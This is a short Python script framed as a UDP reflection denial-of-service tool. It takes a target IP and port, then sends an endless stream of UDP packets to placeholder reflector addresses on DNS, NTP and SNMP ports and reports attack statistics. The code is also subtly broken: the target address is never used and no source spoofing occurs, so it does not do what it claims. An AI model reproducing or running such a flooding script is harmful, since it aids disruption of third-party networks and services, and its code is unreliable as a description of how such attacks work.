import socket
import random
import time

# User-defined options
target_ip = input("Please enter the target server's IP address: ")
target_port = int(input("Please enter the target server's port number: "))
reflect_sources = ['1.2.3.4', '5.6.7.8', '9.10.11.12']  # List of reflector IP addresses
udp_ports = [53, 123, 161]  # List of UDP port numbers

# Statistics
total_requests = 0
success_count = 0
failure_count = 0
start_time = time.time()

# Construct UDP packet
def create_udp_packet():
    payload = b'abcdefghijklmnopqrstuvwxyz'  # Custom UDP packet content
    udp_port = random.choice(udp_ports)  # Randomly choose a UDP port number
    return payload, udp_port

# Send UDP request
def send_udp_request(payload, udp_port):
    global total_requests, success_count, failure_count
    try:
        reflect_source = random.choice(reflect_sources)  # Randomly choose a reflector IP address
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(payload, (reflect_source, udp_port))
        success_count += 1
    except Exception as e:
        print("An error occurred while sending the UDP request:", e)
        failure_count += 1
    finally:
        total_requests += 1

# Main program
if __name__ == '__main__':
    try:
        while True:
            payload, udp_port = create_udp_packet()
            send_udp_request(payload, udp_port)
    except KeyboardInterrupt:
        end_time = time.time()
        duration = end_time - start_time
        print("Attack terminated")
        print(f"Total requests sent: {total_requests}")
        print(f"Number of successful requests: {success_count}")
        print(f"Number of failed requests: {failure_count}")
        print(f"Percentage of successful requests: {success_count / total_requests * 100:.2f}%")
        print(f"Attack duration: {duration:.2f} seconds")
        print(f"Average requests sent per second: {total_requests / duration:.2f} requests/second")
